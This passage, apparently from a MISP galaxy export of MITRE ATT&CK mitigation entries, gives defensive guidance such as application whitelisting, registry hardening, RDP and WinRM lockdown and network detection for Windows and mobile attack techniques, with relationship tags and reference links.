mitigates: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Lockscreen Bypass - T1461" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploit TEE Vulnerability - T1405" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Modify Cached Executable Code - T1403" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Abuse Accessibility Features - T1453" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploit via Charging Station or PC - T1458" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Attack PC via USB Connection - T1427" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Clipboard Modification - T1510" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Capture Clipboard Data - T1414" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
Links |
System Service Discovery Mitigation - T1007
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="System Service Discovery Mitigation - T1007"
System Service Discovery Mitigation - T1007 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Taint Shared Content Mitigation - T1080
Protect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).
Reduce potential lateral movement risk by using web-based document management and collaboration services that do not use network file and directory sharing.
Identify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Taint Shared Content Mitigation - T1080"
Taint Shared Content Mitigation - T1080 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Security Support Provider Mitigation - T1101
Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code>, which requires all SSP DLLs to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)
The tag is: misp-galaxy:mitre-course-of-action="Security Support Provider Mitigation - T1101"
Security Support Provider Mitigation - T1101 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Security Support Provider - T1101" with estimative-language:likelihood-probability="almost-certain"
Links |
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html |
Peripheral Device Discovery Mitigation - T1120
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Peripheral Device Discovery Mitigation - T1120"
Peripheral Device Discovery Mitigation - T1120 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Password Policy Discovery Mitigation - T1201
Mitigating discovery of password policies is not advised since the information is required to be known by systems and users of a network. Ensure password policies are such that they mitigate brute force attacks yet will not give an adversary an information advantage because the policies are too light. Active Directory is a common way to set and enforce password policies throughout an enterprise network. (Citation: Microsoft Password Complexity)
The tag is: misp-galaxy:mitre-course-of-action="Password Policy Discovery Mitigation - T1201"
Password Policy Discovery Mitigation - T1201 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"
Links |
Install Root Certificate Mitigation - T1130
HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)
Windows Group Policy can be used to manage root certificates and the <code>Flags</code> value of <code>HKLM\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\ProtectedRoots</code> can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store. (Citation: SpectorOps Code Signing Dec 2017)
The tag is: misp-galaxy:mitre-course-of-action="Install Root Certificate Mitigation - T1130"
Install Root Certificate Mitigation - T1130 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1130" with estimative-language:likelihood-probability="almost-certain"
Links |
https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec |
Modify Existing Service Mitigation - T1031
Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for Privilege Escalation weaknesses. (Citation: Powersploit)
Identify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.
The tag is: misp-galaxy:mitre-course-of-action="Modify Existing Service Mitigation - T1031"
Modify Existing Service Mitigation - T1031 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
Remote File Copy Mitigation - T1105
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
The tag is: misp-galaxy:mitre-course-of-action="Remote File Copy Mitigation - T1105"
Remote File Copy Mitigation - T1105 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
Links |
Execution through API Mitigation - T1106
Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. Audit and/or block potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Execution through API Mitigation - T1106"
Execution through API Mitigation - T1106 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Graphical User Interface Mitigation - T1061
Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.
Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) and Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Graphical User Interface Mitigation - T1061"
Graphical User Interface Mitigation - T1061 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Graphical User Interface - T1061" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Application Deployment Software Mitigation - T1017
Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).
If the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.
The tag is: misp-galaxy:mitre-course-of-action="Application Deployment Software Mitigation - T1017"
Application Deployment Software Mitigation - T1017 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Application Deployment Software - T1017" with estimative-language:likelihood-probability="almost-certain"
Links |
Credentials in Files Mitigation - T1081
Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences. (Citation: Microsoft MS14-025)
The tag is: misp-galaxy:mitre-course-of-action="Credentials in Files Mitigation - T1081"
Credentials in Files Mitigation - T1081 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
Links |
Remote System Discovery Mitigation - T1018
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Remote System Discovery Mitigation - T1018"
Remote System Discovery Mitigation - T1018 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Indirect Command Execution Mitigation - T1202
Identify or block potentially malicious software that may contain abusive functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP). These mechanisms can also be used to disable and/or limit user access to Windows utilities and file types/locations used to invoke malicious execution.(Citation: SpectorOPs SettingContent-ms Jun 2018)
The tag is: misp-galaxy:mitre-course-of-action="Indirect Command Execution Mitigation - T1202"
Indirect Command Execution Mitigation - T1202 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"
XSL Script Processing Mitigation - T1220
[Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and/or msxsl.exe may or may not be used within a given environment. Disabling WMI may cause system instability and should be evaluated to assess the impact to a network. If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries.
The tag is: misp-galaxy:mitre-course-of-action="XSL Script Processing Mitigation - T1220"
XSL Script Processing Mitigation - T1220 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220" with estimative-language:likelihood-probability="almost-certain"
Links |
Standard Cryptographic Protocol Mitigation - T1032
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)
The tag is: misp-galaxy:mitre-course-of-action="Standard Cryptographic Protocol Mitigation - T1032"
Standard Cryptographic Protocol Mitigation - T1032 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
Links |
Custom Cryptographic Protocol Mitigation - T1024
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
The tag is: misp-galaxy:mitre-course-of-action="Custom Cryptographic Protocol Mitigation - T1024"
Custom Cryptographic Protocol Mitigation - T1024 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
Links |
System Information Discovery Mitigation - T1082
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="System Information Discovery Mitigation - T1082"
System Information Discovery Mitigation - T1082 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Windows Remote Management Mitigation - T1028
Disable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices. (Citation: NSA Spotting)
The tag is: misp-galaxy:mitre-course-of-action="Windows Remote Management Mitigation - T1028"
Windows Remote Management Mitigation - T1028 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1028" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.iad.gov/iad/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm |
Commonly Used Port Mitigation - T1043
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
The tag is: misp-galaxy:mitre-course-of-action="Commonly Used Port Mitigation - T1043"
Commonly Used Port Mitigation - T1043 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
Links |
Security Software Discovery Mitigation - T1063
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Security Software Discovery Mitigation - T1063"
Security Software Discovery Mitigation - T1063 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Network Service Scanning Mitigation - T1046
Use network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices.
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Network Service Scanning Mitigation - T1046"
Network Service Scanning Mitigation - T1046 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Windows Management Instrumentation Mitigation - T1047
Disabling WMI or RPCS may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI. Restrict other users who are allowed to connect, or disallow all users to connect remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)
The tag is: misp-galaxy:mitre-course-of-action="Windows Management Instrumentation Mitigation - T1047"
Windows Management Instrumentation Mitigation - T1047 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
Links |
Application Isolation and Sandboxing - M1048
Restrict execution of code to a virtual environment on or in transit to an endpoint system.
The tag is: misp-galaxy:mitre-course-of-action="Application Isolation and Sandboxing - M1048"
Application Isolation and Sandboxing - M1048 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Credential Access - T1212" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175" with estimative-language:likelihood-probability="almost-certain"
Links |
Inhibit System Recovery Mitigation - T1490
Consider technical controls to prevent the disabling of services or deletion of files involved in system recovery.
Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.
Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Inhibit System Recovery Mitigation - T1490"
Inhibit System Recovery Mitigation - T1490 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Uncommonly Used Port Mitigation - T1065
Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports.
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
The tag is: misp-galaxy:mitre-course-of-action="Uncommonly Used Port Mitigation - T1065"
Uncommonly Used Port Mitigation - T1065 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
Links |
Pass the Hash Mitigation - T1075
Monitor systems and domain logs for unusual credential logon activity. Prevent access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group.
Enable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located <code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy</code> Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)
Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary’s ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.
The tag is: misp-galaxy:mitre-course-of-action="Pass the Hash Mitigation - T1075"
Pass the Hash Mitigation - T1075 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
Links |
Remote Desktop Protocol Mitigation - T1076
Disable the RDP service if it is unnecessary, remove unnecessary accounts and groups from Remote Desktop Users groups, and enable firewall rules to block RDP traffic between network security zones. Audit the Remote Desktop Users group membership regularly. Remove the local Administrators group from the list of groups allowed to log in through RDP. Limit remote user permissions if remote access is necessary. Use remote desktop gateways and multifactor authentication for remote logins. (Citation: Berkley Secure) Do not leave RDP accessible from the internet. Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server. (Citation: Windows RDP Sessions)
The tag is: misp-galaxy:mitre-course-of-action="Remote Desktop Protocol Mitigation - T1076"
Remote Desktop Protocol Mitigation - T1076 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
Links |
https://technet.microsoft.com/en-us/library/cc754272(v=ws.11).aspx |
NTFS File Attributes Mitigation - T1096
It may be difficult or inadvisable to block access to EA and ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Symantec ADS May 2009) Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA and ADSs by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Consider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded. (Citation: InsiderThreat NTFS EA Oct 2017)
The tag is: misp-galaxy:mitre-course-of-action="NTFS File Attributes Mitigation - T1096"
NTFS File Attributes Mitigation - T1096 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096" with estimative-language:likelihood-probability="almost-certain"
Permission Groups Discovery Mitigation - T1069
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about groups and permissions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Permission Groups Discovery Mitigation - T1069"
Permission Groups Discovery Mitigation - T1069 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Windows Admin Shares Mitigation - T1077
Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed. Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.
Identify unnecessary system utilities or potentially malicious software that may be used to leverage SMB and the Windows admin shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Windows Admin Shares Mitigation - T1077"
Windows Admin Shares Mitigation - T1077 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Pass the Ticket Mitigation - T1097
Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)
For containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. (Citation: CERT-EU Golden Ticket Protection)
Attempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Pass the Ticket Mitigation - T1097"
Pass the Ticket Mitigation - T1097 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Disabling Security Tools Mitigation - T1089
Ensure proper process, registry, and file permissions are in place to prevent adversaries from disabling or interfering with security services.
The tag is: misp-galaxy:mitre-course-of-action="Disabling Security Tools Mitigation - T1089"
Disabling Security Tools Mitigation - T1089 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
Links |
Space after Filename Mitigation - T1151
Prevent files from having a trailing space after the extension.
The tag is: misp-galaxy:mitre-course-of-action="Space after Filename Mitigation - T1151"
Space after Filename Mitigation - T1151 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Space after Filename - T1151" with estimative-language:likelihood-probability="almost-certain"
Links |
Credentials in Registry Mitigation - T1214
Do not store credentials within the Registry. Proactively search for credentials within Registry keys and attempt to remediate the risk. If necessary software must store credentials, then ensure those accounts have limited permissions so they cannot be abused if obtained by an adversary.
The tag is: misp-galaxy:mitre-course-of-action="Credentials in Registry Mitigation - T1214"
Credentials in Registry Mitigation - T1214 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1214" with estimative-language:likelihood-probability="almost-certain"
Links |
System Time Discovery Mitigation - T1124
Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.
Identify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="System Time Discovery Mitigation - T1124"
System Time Discovery Mitigation - T1124 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Browser Bookmark Discovery Mitigation - T1217
